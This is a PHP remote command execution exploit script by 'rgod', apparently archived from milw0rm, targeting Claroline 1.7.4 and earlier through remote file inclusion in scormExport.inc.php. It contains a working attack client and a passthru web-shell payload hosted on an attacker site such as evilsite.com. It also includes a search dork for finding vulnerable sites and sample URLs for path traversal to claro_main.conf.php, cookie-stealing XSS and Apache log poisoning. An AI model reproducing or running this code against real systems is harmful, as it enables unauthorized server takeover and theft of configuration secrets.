Claroline 1.7.4 - 'scormExport.inc.php' Remote Code Execution

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Claroline <= 1.7.4 \"scormExport.inc.php\" remote cmmnds xctn\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "-> works with register_globals = On & allow_url_fopen = On\r\n\r\n";
echo "dork: \"Powered by Claroline\" -demo\r\n\r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to claroline\r\n";
echo "location:  arbitrary location with the code to include\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." target.com /claroline174/ http://evilsite.com ls -la\r\n";
echo "php ".$argv[0]." target.com /claroline174/ http://evilsite.com cat ./..\r\n";
echo "/../inc/conf/claro_main.conf.php -p81\r\n";
echo "php ".$argv[0]." target.com / http://evilsite.com uname -a -P1.1.1.1:80\r\n\r\n";
echo "note, on remote location you need a\r\n";
echo "/lib/fileUpload.lib.php/index.html\r\n";
echo "or a\r\n";
echo "/lib/pclzip/pclzip.lib.php/index.html\r\n";
echo "with this code inside:\r\n\r\n";
echo "<?php\r\n";
echo 'if (get_magic_quotes_gpc()){$_GET[cmd]=strisplashes($_GET[cmd]);}'."\r\n";
echo "error_reporting(0);\r\n";
echo 'ini_set("max_execution_time",0);'."\r\n";
echo 'echo "*delim*";'."\r\n";
echo 'passthru($_GET[cmd]);'."\r\n";
echo 'echo "*delim*";'."\r\n";
echo "die;\r\n";
echo '?>'."\r\n";
die;
}

/*
  explaination:
  software site: http://www.claroline.net/
  description:   Claroline is a free application based on PHP/MySQL allowing
                 teachers or education organizations to create and administrate
	         courses through the web.

  vulnerabilities:

  i) system disclosure:
  without to have an account you can see (not modify or include) all files on target system
  regardless of any php.ini settings, ex:

  http://[target]/[path_to_claroline]/claroline/document/rqmkhtml.php?cmd=rqEditHtml&file=/../../../../apache/logs/error.log
  http://[target]/[path_to_claroline]/claroline/document/rqmkhtml.php?cmd=rqEditHtml&file=/../../claroline/inc/conf/claro_main.conf.php
  (see inside html for this)

  ii)  xss & full path disclosure:
  http://[target]/[path_to_claroline]/claroline/document/rqmkhtml.php?cmd=rqEditHtml&file="><script>alert(document.cookie)</script>

  iii) and finally, arbitrary remote inclusion / remote commands execution:

  iii.a)if register_globals = On & allow_url_fopen = On:
  http://[target]/[path_to_claroline]/claroline/learnPath/include/scormExport.inc.php?cmd=ls-la&includePath=http://evil.site.com
  where on:
  http://evil.site.com/lib/fileUpload.lib.php/index.html
  or:
  http://evil.site.com/lib/pclzip/pclzip.lib.php/index.html
  you have some php code

  iii.b)if register_globals = On & magic_quotes_gpc = Off:
  http://[target]/[path_to_claroline]/claroline/learnPath/include/scormExport.inc.php?cmd=ls-la&includePath=/../../../../apache/logs/access.log%00
  (after you have injected some code in Apache log files and braking the path
  through a null char)

  this is the exploit for iii.a)
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];$path=$argv[2];$location=$argv[3];$cmd='';
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
$port=80;$proxy="";
for ($i=4; $i<=$argc-1; $i++)
{
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."claroline/learnPath/include/scormExport.inc.php";
$packet.="?cmd=".urlencode($cmd)."&includePath=".urlencode($location)." HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"*delim*"))
{
  echo "Exploit succeeded...\r\n\r\n";
  $temp=explode("*delim*",$html);
  echo $temp[1];
}
else
{echo "Exploit failed...";}
?>

# milw0rm.com [2006-03-30]